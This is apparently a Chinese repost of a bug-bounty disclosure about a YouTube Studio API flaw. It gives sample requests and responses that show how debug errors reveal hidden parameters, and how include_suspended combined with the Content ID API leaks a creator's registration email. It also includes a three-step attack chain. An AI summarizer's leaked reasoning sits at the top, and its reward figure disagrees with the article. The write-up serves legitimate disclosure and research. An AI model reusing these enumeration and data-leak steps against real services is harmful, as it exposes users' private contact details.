一个$20,000的漏洞
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。首先,我得仔细阅读文章,理解其主要信息。 文章讲的是一个白帽黑客发现了YouTube API中的漏洞。他通过发送错误参数类型,API返回了调试信息,包括参数名称和类型。然后他开发了一个工具req2proto来自动化这个过程。接着,他利用这个工具发现了一个隐藏的include_suspended参数,可以获取创作者的contentOwnerId。最后,结合Content ID API,他成功获取了创作者的注册邮箱,并因此获得了漏洞奖励。 接下来,我需要将这些关键点浓缩到100字以内。重点包括:API漏洞、调试信息泄露、工具开发、获取contentOwnerId、邮箱泄露以及奖励金额。 可能的结构是:描述发现漏洞的过程,如何利用工具获取信息,以及结果和奖励。 现在试着组织语言: “白帽黑客发现YouTube API漏洞,通过发送错误参数获取调试信息和隐藏参数。利用工具req2proto解析API请求,发现include_suspended参数可获取创作者contentOwnerId。结合Content ID API成功提取注册邮箱。该漏洞被Google修复并获得$13,337奖励。” 检查字数:大约85字左右,符合要求。 </think> 白帽黑客发现YouTube API漏洞,通过发送错误参数获取调试信息和隐藏参数。利用工具req2proto解析API请求,发现include_suspended参数可获取创作者contentOwnerId。结合Content ID API成功提取注册邮箱。该漏洞被Google修复并获得$13,337奖励。 2025-12-26 08:51:0 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

嘿,各位想象一下,你精心运营的YouTube频道,它的背后竟然隐藏着可能泄露你隐私信息的API漏洞! 今天,国外白帽小哥就带你走进一个惊险刺激的网络安全探秘之旅,揭示YouTube API中的一处"小秘密",如何被层层揭开,最终导致创作者邮箱泄露。这不仅仅是一个技术故事,更是一堂生动的网络安全课。

故事的起点,是一位白帽小哥在把玩Google API(应用程序编程接口)请求时,一项"反常规"的发现。他注意到,当向Google API端点发送一个带有错误参数类型 的请求时,API竟然会"好心"地返回关于该参数的调试信息! 例如,他尝试向YouTube的/youtubei/v1/browse接口发送一个POST请求,其中browseId本应是一个字符串,却被他故意设置成了一个整数1 。结果呢? 服务器立刻返回了一个HTTP/2 400 Bad Request错误,错误信息清晰地指出了browse_id的值无效,并且明确地告诉他,这个参数的类型应该是字符串(TYPE_STRING)。这就像是你问一个问题方式不对,对方不仅指出了你的错误,还顺带把正确的问题格式告诉你了。

POST /youtubei/v1/browse HTTP/2  
Host: youtubei.googleapis.com  
Content-Type: application/json  
Content-Length: 164  

{  
"context": {  
"client": {  
"clientName": "WEB",  
"clientVersion": "2.20241101.01.00",  
    }  
  },  
"browseId": 1  
}  

服务器实际期望browseId是像"UCX6OQ3DkcsbYNE6H8uQQuVA"这样的字符串。

响应

HTTP/2 400 Bad Request  
Content-Type: application/json; charset=UTF-8  
Server: scaffolding on HTTPServer2  

{  
"error": {  
"code": 400,  
"message": "Invalid value at 'browse_id' (TYPE_STRING), 1",  
"errors": [  
      {  
"message": "Invalid value at 'browse_id' (TYPE_STRING), 1",  
"reason": "invalid"  
      }  
    ],  
"status": "INVALID_ARGUMENT",  
    ...  
  }  
}  

正常情况下,YouTube API主要使用JSON格式进行通信,但它还支持一种不那么常见的格式——application/json+protobuf,也被称为ProtoJson。 ProtoJson的独特之处在于,它允许你以数组的形式传递参数值,而无需明确参数名称。白帽小哥灵光一闪:如果我发送一个包含一系列随机数字的ProtoJson请求,比如[1,2,3...30],API会不会把所有可能的参数名称和它们预期的类型都告诉我呢? 果然,当他发送了这样一个"乱序"请求后,API毫不犹豫地吐出了一个包含近三十个参数的"错误"信息,其中详细列举了每一个参数的名称及其正确的数据类型,例如contextbrowse_idparamscontinuation等等。这简直就是一份活生生的API参数字典

POST /youtubei/v1/browse HTTP/2  
Host: youtubei.googleapis.com  
Content-Type: application/json+protobuf  
Content-Length: 22  

[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30]  

响应

HTTP/2 400 Bad Request  
Content-Type: application/json; charset=UTF-8  
Server: scaffolding on HTTPServer2  

{  
"error": {  
"code": 400,  
"message": "Invalid value at 'context' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1\nInvalid value at 'browse_id' (TYPE_STRING), 2\nInvalid value at 'params' (TYPE_STRING), 3\nInvalid value at 'continuation' (TYPE_STRING), 7\nInvalid value at 'force_ad_format' (TYPE_STRING), 8\nInvalid value at 'player_request' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10\nInvalid value at 'query' (TYPE_STRING), 11\nInvalid value at 'has_external_ad_vars' (TYPE_BOOL), 12\nInvalid value at 'force_ad_parameters' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13\nInvalid value at 'previous_ad_information' (TYPE_STRING), 14\nInvalid value at 'offline' (TYPE_BOOL), 15\nInvalid value at 'unplugged_sort_filter_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16\nInvalid value at 'offline_mode_forced' (TYPE_BOOL), 17\nInvalid value at 'form_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18\nInvalid value at 'suggest_stats' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19\nInvalid value at 'lite_client_request_data' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20\nInvalid value at 'unplugged_browse_options' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22\nInvalid value at 'consistency_token' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23\nInvalid value at 'intended_deeplink' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24\nInvalid value at 'android_extended_permissions' (TYPE_BOOL), 25\nInvalid value at 'browse_notification_params' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26\nInvalid value at 'recent_user_event_infos' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28\nInvalid value at 'detected_activity_info' (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30",  
    ...  
  }  
}  

为了自动化这个"参数字典生成"的过程,白帽小哥专门开发了一款名为req2proto的工具。

$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3  

如果查看output/youtube/api/pfiinnertube/message.proto的输出,研究人员可以发现该端点的完整请求Payload。

syntax = "proto3";  

package youtube.api.pfiinnertube;  

message GetBrowseRequest {  
  InnerTubeContext context = 1;  
  string browse_id = 2;  
  string params = 3;  
  string continuation = 7;  
  string force_ad_format = 8;  
  int32 debug_level = 9;  
  PlayerRequest player_request = 10;  
  string query = 11;  
  ...  
}  
...  

有了这些发现,研究人员开始着手寻找其他可能存在隐藏参数并泄露调试信息 的API端点。

如果你曾检查过YouTube Studio用于加载"Earn"选项卡的请求,也许会注意到有这样一条请求:

POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2  
Host: studio.youtube.com  
Content-Type: application/json  
Cookie: <redacted>  

{  
"context": {  
    ...  
  },  
"channelIds": [  
"UCeGCG8SYUIgFO13NyOe6reQ"  
  ],  
"mask": {  
"channelId": true,  
"monetizationStatus": true,  
"monetizationDetails": {  
"all": true  
    },  
    ...  
  }  
}  

该请求用于获取并显示在"盈利"选项卡中的用户自己的频道数据,但实际上它也能够获取其它频道的元数据,尽管可用的掩码(mask)非常有限。

请求

POST /youtubei/v1/creator/get_creator_channels?alt=json HTTP/2  
Host: studio.youtube.com  
Content-Type: application/json  
Cookie: <redacted>  

{  
"context": {  
    ...  
  },  
"channelIds": [  
"UCdcUmdOxMrhRjKMw-BX19AA"  
  ],  
"mask": {  
"channelId": true,  
"title": true,  
"thumbnailDetails": {  
"all": true  
    },  
"metric": {  
"all": true  
    },  
"timeCreatedSeconds": true,  
"isNameVerified": true,  
"channelHandle": true  
  }  
}  

响应

HTTP/2 200 OK  
Content-Type: application/json; charset=UTF-8  
Server: scaffolding on HTTPServer2  

{  
"channels": [  
    {  
"channelId": "UCdcUmdOxMrhRjKMw-BX19AA",  
"title": "Niko Omilana",  
      ...  
"metric": {  
"subscriberCount": "7700000",  
"videoCount": "142",  
"totalVideoViewCount": "650836435"  
      },  
"timeCreatedSeconds": "1308700645",  
"isNameVerified": true,  
"channelHandle": "@Niko",  
    }  
  ]  
}  

这些掩码参数看起来相当安全,如果研究人员尝试请求任何其他可能对无权访问的频道敏感的掩码,API会返回"权限被拒绝(Permission denied)"的错误信息。

{  
"error": {  
"code": 403,  
"message": "The caller does not have permission",  
"errors": [  
      {  
"message": "The caller does not have permission",  
"domain": "global",  
"reason": "forbidden"  
      }  
    ],  
"status": "PERMISSION_DENIED"  
  }  
}  

然而,当研究人员使用req2proto工具解析此API端点的请求时,他们意外发现了两个秘密的隐藏参数。

syntax = "proto3";  

package youtube.api.pfiinnertube;  

message GetCreatorChannelsRequest {  
  InnerTubeContext context = 1;  
  string channel_ids = 2;  
  CreatorChannelMask mask = 4;  
  DelegationContext delegation_context = 5;  
  bool critical_read = 6; // ???  
  bool include_suspended = 7; // ???  
}  

研究人员发现,启用criticalRead参数似乎没有带来任何改变,但include_suspended参数的发现却意义重大。

{  
  ...  
"contentOwnerAssociation": {  
"externalContentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",  
"createTime": {  
"seconds": "1693939737",  
"nanos": 472296000  
    },  
"permissions": {  
"canWebClaim": true,  
"canViewRevenue": true  
    },  
"isDefaultChannel": false,  
"activateTime": {  
"seconds": "1693939737",  
"nanos": 472296000  
    }  
  },  
  ...  
}  

这个参数能够获取YouTube频道的contentOwnerAssociation(内容所有者关联)信息,那么,"内容所有者关联"究竟是怎样的呢?

深入解析内容ID

在YouTube平台中,存在一种特殊账户,即"内容管理者(Content Manager)",仅授予少数受信任的版权所有者。 这类账户拥有独特权限,可以将音频或视频作为资产上传至Content ID(内容识别系统),从而自动识别并对任何包含相同音视频内容的外部视频发起版权主张。

这些账户的权限非常敏感,因为内容管理者可以通过此功能,将发现的包含相似音视频内容的视频进行货币化 。因此,这些特殊账户仅限于那些具有"复杂版权管理需求"的大型版权方。 值得一提的是,YouTube也为三百万已开启收益功能的创作者提供了简化版的内容管理工具,即"版权匹配工具(Copyright Match Tool)" 。该工具只允许创作者要求撤下使用其内容的视频,而不能将其"货币化"。

有趣的是,这款工具的后端技术与"内容管理者"账户所使用的技术是相同的。一旦某个频道开通了收益功能,系统便会自动创建一个CONTENT_OWNER_TYPE_IVP类型的内容所有者账户。

{  
"contentOwnerId": "Ks_zqCBHrAbeQqsVRGL7gw",  
"displayName": "Nia",  
"type": "CONTENT_OWNER_TYPE_IVP",  
"industryType": "INDUSTRY_TYPE_WEB",  
"primaryContactEmail": "<redacted>@gmail.com",  
"timeCreatedSeconds": "1693939736",  
"traits": {  
"isLongTail": true,  
"isAffiliate": false,  
"isManagedTorso": false,  
"isPremium": false,  
"isUserLevelCidClaimUpdateable": false,  
"isTorso": false,  
"isFingerprintEnabled": false,  
"isBrandconnectAgency": false,  
"isTwoStepVerificationRequirementExempt": false  
  },  
"country": "FI"  
}  

有趣的事实: "IVP"实际上是"Individual Video Partnership"(个人视频合作)的缩写,这是YouTube合作伙伴计划的旧称! 因此,研究人员可以获取绑定到频道的"IVP内容所有者"的contentOwnerId(内容所有者ID)。 那么,这个ID究竟有何用处呢?经过一番探索,研究人员发现了YouTube Content ID API(YouTube内容ID API),这是一个专为拥有"内容管理者"账户的版权方设计的API。其中,contentOwners.list接口显得尤为引人注目。该接口接收一个内容所有者ID,并返回其"冲突通知电子邮件"。 不幸的是,研究人员发现该API似乎会验证其是否具备"内容管理者"账户权限,并对所有请求一律返回"禁止访问(Forbidden)"错误。

{  
"error": {  
"code": 403,  
"message": "Forbidden",  
"errors": [  
      {  
"message": "Forbidden",  
"domain": "global",  
"reason": "forbidden"  
      }  
    ]  
  }  
}  

尽管此接口主要面向拥有"内容管理器"账户的用户,研究人员仍猜测"IVP内容所有者"类型账户或许也能调用成功。 为了验证这一设想,研究人员邀请了一位拥有已开启收益功能YouTube频道的朋友在API Explorer中进行测试。结果表明,该调用确实成功了

{  
"kind": "youtubePartner#contentOwnerList",  
"items": [  
    {  
"kind": "youtubePartner#contentOwner",  
"id": "kdVwk95TnaCSLJJfyIFoqw",  
"displayName": "omilana7",  
"conflictNotificationEmail": "<redacted>@yahoo.co.uk"  
    }  
  ]  
}  

冲突通知电子邮件是频道开通收益功能时的注册邮箱! 有趣的是,尽管该API在API Explorer中能够正常工作,但由于它仅允许具备实际"内容管理者"账户的用户访问,因此无法将其直接集成到自己的Google Cloud项目中。不过研究人员只需使用API Explorer的客户端即可调用此API。

研究人员现已掌握了发起攻击的两大关键要素 ,接下来便是将它们整合起来!

  1. 首先,通过启用includeSuspended: true参数,向/get_creator_channels接口发送请求,以获取受害者的IVP内容所有者ID
  2. 接着,利用与已开启收益功能的YouTube频道关联的Google账户,借助Content ID API Explorer(内容ID API探索器)获取受害者IVP内容所有者的"冲突通知电子邮件"
  3. 最后,成功获取所需信息

视频演示:https://youtu.be/2daV4tDmyJo

  • 2024-12-12 - 研究人员向供应商提交漏洞报告。
  • 2024-12-16 - 供应商对报告进行了初步分类。
  • 2024-12-17 - 供应商确认漏洞存在,并给予积极评价
  • 2025-01-21 - 漏洞评审小组奖励了$13,337美金 。理由是该漏洞属于"绕过重要安全控制",涉及个人身份信息(PII)或其它机密信息的泄露,且发生在常规Google应用程序中。
  • 2025-01-21 - 研究人员向供应商澄清,此次奖励是在"常规Google应用程序"类别下获得的,然而,www.youtube.comstudio.youtube.com属于Tier 1(最高级别)域名,重要性更高。详情可参见:https://github.com/google/bughunters/blob/main/domain-tiers/external_domains_google.asciipb 。
  • 2025-01-23 - 评审小组额外追加奖励$6,663美金 ,理由是该漏洞存在于可能泄露特别敏感用户数据的域名中,且漏洞类别仍为"绕过重要安全控制",涉及PII或其他机密信息。
  • 2025-02-10 - 研究人员与供应商协调,将漏洞披露日期定为2025-03-13
  • **2025-02

文章来源: https://www.freebuf.com/articles/web/464068.html
如有侵权请联系:admin#unsafe.sh